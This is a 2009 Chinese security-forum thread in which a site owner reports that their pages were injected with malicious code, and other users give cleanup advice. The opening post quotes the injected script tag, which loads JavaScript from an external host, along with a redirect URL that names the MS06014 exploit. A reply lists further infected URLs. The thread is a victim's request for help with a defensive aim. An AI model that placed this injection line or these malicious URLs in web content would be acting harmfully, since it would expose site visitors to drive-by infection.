瑞星卡卡安全论坛技术交流区恶意网站交流 含泪求助，我的网站被人挂马

1   1  /  1  页   跳转页

[举报恶意网站] 含泪求助，我的网站被人挂马

收藏
rangxun
头像
初生襁褓狮
  • 帖子:1
  • 注册: 2009-03-11
  • 来自:
发表于： 2009-03-11 13:27 | 只看楼主 短消息 资料
字号： 小 中 大 1楼

含泪求助，我的网站被人挂马

含泪求助，我的网站被人挂马，每次打开都会出现开机很慢等现象

每次打开我的网站，他都会先执行打开其他网站
访问地址：http://www.sb3452.cn/a1/MS06014.htm
访问网页的进程："C:\Program Files\Internet Explorer\iexplore.exe"
漏洞对象名：microsoft.xmlhttp

我仔细观察我的网站的网页代码，发现网页内增加了以下代码；
<script>document.writeln("");</script>
<script language="javascript" src="http://mon.qc.cx/asd.js?s=201&col=ffdd00"></script><!doctype html public "-//w3c//dtd html 4.0 transitional//en">
把网页文件上增加的木马代码删除了，过不了多久，这些代码又会自己生成上去了！
最后编辑rangxun 最后编辑于 2009-03-11 13:44:50
分享到：
gototop
 
networkedition
头像
社区嘉宾
  • 帖子:36698
  • 注册: 2008-02-28
  • 来自:
论坛8周年活动礼物09欢乐圣诞10温馨圣诞
发表于： 2009-03-11 13:30 | 短消息 资料
字号： 小 中 大 2楼

回复：含泪求助，我的网站被人挂马

http://www.yd2265.cn/yhyw/2.htm(被挂网址)
http://d.wixww.com:88/new/a1.css
gototop
 
ty88
头像
卡卡反病毒小组
  • 帖子:979
  • 注册: 2007-07-12
  • 来自:
论坛8周年活动礼物论坛9周年纪念瑞星金牌用户
发表于： 2009-03-11 13:32 | 短消息 资料
字号： 小 中 大 3楼

回复：含泪求助，我的网站被人挂马

清除就好
gototop
 
艾玛
头像
大版主
  • 帖子:18894
  • 注册: 2004-01-01
  • 来自:
卡卡名人堂论坛9周年纪念
发表于： 2009-03-11 15:12 | 短消息 资料
字号： 小 中 大 4楼

回复：含泪求助，我的网站被人挂马

请靠知您的网站地址


若是服务器问题，请向服务商反馈要求补安全漏洞；若是您网站漏洞，请自己检查代码安全性。

临时解决办法：使用代码清除工具清除被修改文件中的恶意代码。
gototop
 
xfuyct
头像
初生襁褓狮
  • 帖子:5
  • 注册: 2006-09-06
  • 来自:
发表于： 2009-03-11 15:51 | 短消息 资料
字号： 小 中 大 5楼

回复：含泪求助，我的网站被人挂马

刚刚发现管理的一个PW6.32论坛结构也被挂了这个
JS注入吧
已经删除了XML文件和JS文件
怀疑为统计工具产生的
现在已经删除了该代码
暂时未有任何不良反应。。。
gototop
 
瑞星工程师12
头像
在线技术支持工程师
  • 帖子:21624
  • 注册: 2008-09-08
  • 来自:RISING
发表于： 2009-03-16 11:08 | 短消息 资料
字号： 小 中 大 6楼

回复：含泪求助，我的网站被人挂马

地址已无法访问
欢迎加入
瑞星杀毒软件QQ群 47032532
瑞星个人防火墙QQ群 204732153
瑞星路由安全卫士QQ群 213941034
瑞星安全WiFi QQ群 81864985
瑞星手机安全助手QQ群 64866930
gototop
 
zg1_2004
头像
禁止访问
  • 帖子:6782
  • 注册: 2004-01-22
  • 来自:
发表于： 2009-03-16 11:19 | 短消息 资料
字号： 小 中 大 7楼

回复：含泪求助，我的网站被人挂马

该用户帖子内容已被屏蔽
gototop
 
<<上一主题|下一主题>>
1   1  /  1  页   跳转页
页面顶部
Powered by Discuz!NT